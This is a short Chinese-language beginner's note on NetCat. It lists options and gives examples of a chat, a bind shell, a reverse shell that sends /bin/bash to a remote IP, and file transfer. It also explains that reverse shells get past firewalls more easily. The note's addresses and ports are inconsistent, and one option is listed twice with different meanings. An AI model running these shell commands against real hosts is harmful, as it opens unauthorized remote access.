NC入门笔记
简介:
NC(全名NetCat),在网络界有”瑞士军刀”的美誉。它小巧而强悍,被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接。
使用格式:
nc [options...] hostname port nc -l -p port [-s addr] [options...] [hostname] [port]
主要参数:
-4 IPv4模式
-6 IPv6模式
-b, –bluetooth 蓝牙模式 (默认为L2CAP协议)
-e,–exec=CMD 连接建立后执行命令
-l 监听入站连接
-n 指定数字的IP地址,不能用hostname
-u UDP模式
-t TCP模式(默认模式)
-v 详细输出——用两个-v可得到更详细的内容
-w,–time=SECONDS 连接建立后的延时
-z 扫描模式,不会发送任何数据
-T,–ttl=TTL 自定义初始TTL
-z 将输入输出关掉——用于扫描时
-x,–transfer 文件传输模式
-X ,–rev-transfer 反向文件传输模式
-s,–address=ADDRESS 本地源ip
使用举例:
1. 交互数据传输(简单聊天):
nc可以作为简单的字符下聊天工具使用:
[本地] nc -lp 1234
[远程] nc 222.24.51.53 1234
2. 正向连接:
注:远程主机(ip:222.24.51.116)上运行nc -l -p 1234 -t -e /bin/bash监听其本地端口,一旦连接建立,就执行其/bin/bash,本地主机连接到远程主机,将已经连接的CMD重定向到1234端口的远程主机。
[远程主机] nc -l -p 1234 -t -e /bin/bash
[本地主机] nc -nvv 222.24.51.116 1234
3. 反向连接:
注:先在本地主机(拥有公网IP)开启1234 端口并监听等待远程主机连接;在远程主机上将其 CMD 重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上。
[本地主机] nc -l –vv -p 1234
[远程主机] nc -t -e /bin/bash 222.24.51.53 1234
总结:以上两种连接方式中,反向连接就是反弹shell到本地,因为由远程主机发送的数据请求其本地防火墙一般不会去拦截,故反向更易连接。
4. 文件传输:
从远程主机把ap-wlan0文件传送到本地并重命名为ap-wlan文件:
[本地主机] nc -v -l -p 1234 > ./ap-wlan
[远程主机] nc -vv 222.24.51.53 < /home/linger/ap-wlan0